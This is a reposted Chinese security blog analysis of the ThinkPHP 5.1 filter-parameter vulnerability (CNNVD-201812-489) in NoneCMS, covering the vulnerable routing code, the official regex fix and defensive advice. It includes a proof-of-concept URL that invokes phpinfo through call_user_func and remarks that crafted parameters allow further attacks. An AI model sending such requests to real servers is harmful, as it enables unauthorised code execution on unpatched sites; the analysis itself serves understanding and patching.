Thinkphp框架filter參數(shù)漏洞解析
2019-05-24 00:00:00 來源:Infocode藍暢
漏洞介紹
CNNVD編號:CNNVD-201812-489
nonecms的作者通過升級 thinkphp 框架的版本把漏洞修復(fù)了
查看 thinkphp/library/think/App.php
這個文件的修改歷史可以發(fā)現(xiàn)
更新框架前是5.1.0
const VERSION = '5.1.0';
更新框架后是5.1.31
const VERSION = '5.1.31 LTS';
漏洞修復(fù)
漏洞出現(xiàn)在 NoneCMS/thinkphp/library/think/route/dispatch/Url.php
文件中的parseUrl方法里
// 解析模塊
$module=$this->app->config('app_multi_module') ? array_shift($path) : null;
if($this->param['auto_search']){
$controller=$this->autoFindController($module, $path);
}else{
// 解析控制器
$controller=!empty($path) ? array_shift($path) : null;
}
// 解析操作
$action=!empty($path) ? array_shift($path) : null;
// 解析額外參數(shù)
if($path){
if($this->app['config']->get('url_param_type')){
$var+=$path;
}else{
preg_replace_callback('/(w+)|([^|]+)/', function($match)use(&$var){
$var[$match[1]]=strip_tags($match[2]);
}, implode('|', $path));
}
}
為了修復(fù)漏洞,thinkphp官方添加了新的代碼
if($this->param['auto_search']){
$controller=$this->autoFindController($module, $path);
}else{
// 解析控制器
$controller=!empty($path) ? array_shift($path) : null;
}
/**** 加入了這段代碼 ****
if ($controller && !preg_match('/^[A-Za-z](w|.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
**** 加入了這段代碼 ****/
// 解析操作
$action=!empty($path) ? array_shift($path) : null;
具體修改歷史可以在以下鏈接找到
概括地說,就是把library/think/route/dispatch/Module.php
的代碼移動到 library/think/route/dispatch/Url.php
$controller變量的校驗代碼經(jīng)過多次改進之后,變成下面這個樣子
if($controller&&!preg_match('/^[A-Za-z][w|.]*$/', $controller)){
thrownewHttpException(404, 'controller not exists:' . $controller);
}
[A-Za-z][w|.]*
這個正則表達式的含義是 $controller 的第一個字符是字母A-Za-z。 [w|.]
匹配 a-zA-Z0-9_ 和 .
。 例如可以匹配 a.b.abc123..
, 所以嚴格來說, 這個正則表達式不是特別準確 。
漏洞運行
如果上面這段 $controller 變量的校驗代碼去掉并訪問下面類似的鏈接,就會復(fù)現(xiàn)之前的漏洞。
http://xxx.com/NoneCms/public/?s=index/thinkRequest/input&filter=phpinfo&data=1
這時候變量 $controller
等于 thinkRequest
當執(zhí)行到文件 NoneCMS/thinkphp/library/think/Request.php
中的代碼的時候, $filter = "phpinfo", $value = 1
privatefunctionfilterValue(&$value, $key, $filters)
{
$default=array_pop($filters);
foreach($filtersas$filter){
if(is_callable($filter)){
// 調(diào)用函數(shù)或者方法過濾
$value=call_user_func($filter, $value);
等于執(zhí)行了以下代碼,這樣php運行環(huán)境的敏感信息就泄露了。適當構(gòu)造URL參數(shù)就可以實現(xiàn)更多攻擊和破解操作。
$filter="phpinfo";
$value=1;
call_user_func($filter, $value);
總結(jié)
調(diào)用call_user_func函數(shù)時,要進行參數(shù)校驗。
對于 HTTP GET 請求里的參數(shù)盡可能使用嚴格的正則表達式進行校驗。
本文轉(zhuǎn)自:http://blog.hexccc.com
原文地址:http://blog.hexccc.com/thinkphp-filter-code-vulnerability/